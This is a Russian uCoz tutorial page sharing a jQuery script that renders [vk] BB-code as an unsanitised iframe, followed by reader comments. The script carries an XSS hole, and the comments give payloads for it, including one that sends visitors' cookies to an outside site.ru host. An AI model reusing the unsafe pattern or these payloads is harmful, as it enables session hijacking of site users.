Видео с Вконтакте через BB-код


Видео с Вконтакте через BB-код

6114
8.6 из 10
Проголосовало: 14






С помощью данного скрипта можно спокойно пользователям разрешить добавление видео с Вконтакте в комментариях или сообщениях. Скрипт реализован на jQuery на регулярных выражениях.

Установка:

Вставляем на "Страница материала и комментариев к нему" перед </body> или в "Общий вид страниц форума" после $BODY$:

Код
<script>  
var vk_width = 607, vk_height = 360, vk_align = 'center';  
  function vk_parse() {  
  $('.cmessages').each(function() {  
  $(this).html($(this).html().replace(/\[vk\](.*)\[\/vk\]/g, '<div align="' + vk_align + '"><iframe src="$1" width="' + vk_width + 'px" height="' + vk_height + 'px" frameborder="0"></iframe></div>'))  
  });  
}  
  $(function() {  
  vk_parse()  
});  
  $('#addcBut').click(function() {  
  setTimeout(function(){vk_parse()}, 1000)  
});  
</script>


Настройки скрипта

Обнесите в виде материалов текст комментария/поста в класс cmessages. Например, так:

Код
<div class="cmessages">$COM_BODY$</div>


vk_width - ширина плеера;
vk_height -высота плеера;
vk_align - выравнивание плеера (left, center, right);

Также добавлено преобразование ссылки после добавления нового комментария. На форуме так и так произойдёт редирект.

Если кому-то нужна ещё кнопка бб-кода, то вот она:

Код
<input type="button" title="VK Video" value="vk" onclick="simpletag('vk','','','message','')" class="codeButtons" id="vk" />


Информация о коде

Как работает данный скрипт? На самом деле регулярные выражения - очень мощная вещь, если понимать как они работают. Функция .replace()
принимает 2 аргумента (на самом деле не 2 :D), первый - регулярное выражение, второе - шаблон вывода. В нашем случае регулярное выражение такое: /\[vk\](.*)\[\/vk\]/g.

Разберём его по частям:

/регулярное выражение/ - само объявление регулярки;
g - параметр регулярного выражения - глобальный поиск, то есть заменятся все совпадения, а не только первое;
\[vk\] - начало бб-кода, а обратные слеши используем для экранизации квадратных скобок (они являются спецсимволами регулярок);
(.*) - содержимое бб-кода, круглые скобки означают искомое значение, точка - содержится хотя бы один символ, звезда - любое количество символов;
\[\/vk\] - закрытие бб-кода, слеш также является спецсимволов регулярок, поэтому экранизируем и его.
$1 - номер возращаемого искомого значения, в нашем случае мы искали содержимое бб-кода и круглые скобки возвращают его значение.
.each() - Выполняет функцию для каждого из выбранных элементов.
Автор публикации: Загрузка
Загрузка
Вовчик, это его n материал
Источник: http://trane73.ru
  • Всего комментариев: 11

Master
-1
Master написал: Написано 18 Февраля 2013 в 17:54
Комментарий №7
Это только на форуме будет работать?

Fatal1ti
-1
Fatal1ti написал: Написано 18 Февраля 2013 в 18:02
Комментарий №8
На форуме и в комментариях материалов..

Fatal1ti
-1
Fatal1ti написал: Написано 18 Февраля 2013 в 13:20
Комментарий №5
Спасибо, хороший скрипт.
Я даже попробовал его сделать без jQuery, а только на условных операторах.
Ну думаю на jQuery даже лучше)

AndreyKlipikov
-1
AndreyKlipikov написал: Написано 18 Февраля 2013 в 10:57
Комментарий №4
Вов, постарался модифицировать, но получилась хрень в описании)

Цитата
Обнесите в виде материалов текст комментария/поста в класс cmessages.

и
Код
$COM_BODY$

aaa4xu
+2
aaa4xu написал: Написано 18 Февраля 2013 в 10:10
Комментарий №2
Код
[vk]javascript:alert(document.cookie)[/vk]


XSS :3

AndreyKlipikov
0
AndreyKlipikov написал: Написано 18 Февраля 2013 в 10:55
Комментарий №3
Ну увидишь свои куки, ну не чужие) Ну или предложи в личку вариант, как забрать у пользователей с более высокими группами happy

aaa4xu
0
aaa4xu написал: Написано 18 Февраля 2013 в 16:58
Комментарий №6
facepalm.jpg
Не позорься, почитай хотябы на вики, что такое XSS

AndreyKlipikov
+1
AndreyKlipikov написал: Написано 19 Февраля 2013 в 00:13
Комментарий №9
Читал и юзал в деле на нубских сайтах) smile Просто пример у тебя неудачный) добавить бы типа:

Код
[vk]javascript:$.getScript("http://site.ru/test.php?a=" + document.cookie)[/vk]
wink

aaa4xu
+1
aaa4xu написал: Написано 19 Февраля 2013 в 11:37
Комментарий №10
Я лишь показал возможный вектор атаки - те, кому надо, сами знают, что делать дальше

AndreyKlipikov
0
AndreyKlipikov написал: Написано 20 Февраля 2013 в 01:32
Комментарий №11
Окау wink

pro100(4eJI)
0
pro100(4eJI) написал: Написано 18 Февраля 2013 в 10:05
Комментарий №1
вот спасибо, прям нужен был этот скрипт!:)

  • Оставить комментарий:
Добавлять комментарии могут только зарегистрированные пользователи.
Регистрация | Вход
Меню сайта
Категории
Для помощи создания сайта uCoz 24
Скрипты и модификации для Ucoz 2101
Шаблоны форумов Ucoz 28
Шаблоны сайтов Ucoz 429
Авторство Webo4ki 309
php скрипты для ucoz 57
Графика для uCoz 40
Мини-чат
Последние комментарии
Поставил ваш код он начинает считать от 0 до 100 и останавливаеться. я думал он будет в случайном порядке показывать цыфры
как поставить свою ссылку и логотип
  • Сатурн-1 написал:
  • Похвально.
  • Winston888 написал:
  • Я не говорил что делаю только скрипты. Я делаю шаблоны, скрипты, адаптации с разных движков под ucoz и на оборот + я ещё и сам рисую. В данный момент занимаюсь дизайном для webo4ka сам рисую сам верстаю.
  • Сатурн-1 написал:
  • Заметь, мы делаем почти одну и ту же работу.
    Ты - скрипты, я -шаблон. И каждый делает это бесплатно, НО
    ты делаешь скрипты без шаблона, я делаю шаблон без скриптов (не считая основных).
    Я тоже могу сказать что твои скрипты не идеальны, но не буду т.к. даже не знаю какие из всех существующих твои.
    Поэтому ты не сравнивай скрипты и шаблоны да еще и на Ucoz'e, мы же не на хакатоне каком нибудь.
    Последние темы
    Опрос
    205
    А
    Р
    Что произойдёт: $("#...
    Статистика
    Анализ интернет сайта
    0
    онлайн
    0
    наших
    0
    чужих
    Онлайн всего: 3
    Гостей: 3
    Пользователей: 0
    0
    Сегодня были
    Топ пользователей: